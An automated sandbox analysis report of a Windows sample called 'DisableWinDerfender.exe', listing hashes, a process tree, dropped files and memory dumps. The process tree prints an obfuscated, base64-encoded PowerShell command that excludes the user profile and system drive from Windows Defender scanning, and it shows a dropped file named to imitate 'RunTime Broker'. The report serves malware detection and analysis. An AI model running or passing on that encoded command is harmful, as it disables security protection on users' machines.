Analysis
- max time kernel
1s - max time network
12s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
23/06/2024, 01:17
General
- Target DisableWinDefender-main/DisableWinDerfender.exe
- Size 1.6MB
- Sample240623-bnb7gaxeql
- SHA256 0e5949c7742e2ea76adfce592a40a11bf0c80837ebbfd978424ab2eab59e19ac
Score
3/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
Processes
-
C:\Users\Admin\AppData\Local\Temp\DisableWinDefender-main\DisableWinDerfender.exe"C:\Users\Admin\AppData\Local\Temp\DisableWinDefender-main\DisableWinDerfender.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZgBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAdABxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAeABsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAdgBwACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\disable-defender.exe"C:\Users\Admin\AppData\Roaming\disable-defender.exe"2⤵
-
-
C:\Users\Admin\RunTime Broker.exe"C:\Users\Admin\RunTime Broker.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_sv2bafmd.mlx.ps1
disable-defender.exe
RunTime Broker.exe
memory/468-0-0x00007FF82DDE3000-0x00007FF82DDE5000-memory.dmp
memory/468-1-0x0000000000CC0000-0x0000000000E5E000-memory.dmp
memory/468-12-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp
memory/468-41-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp
memory/5076-40-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp
memory/5076-42-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp
memory/5076-52-0x0000021242CD0000-0x0000021242CF2000-memory.dmp
memory/5076-53-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp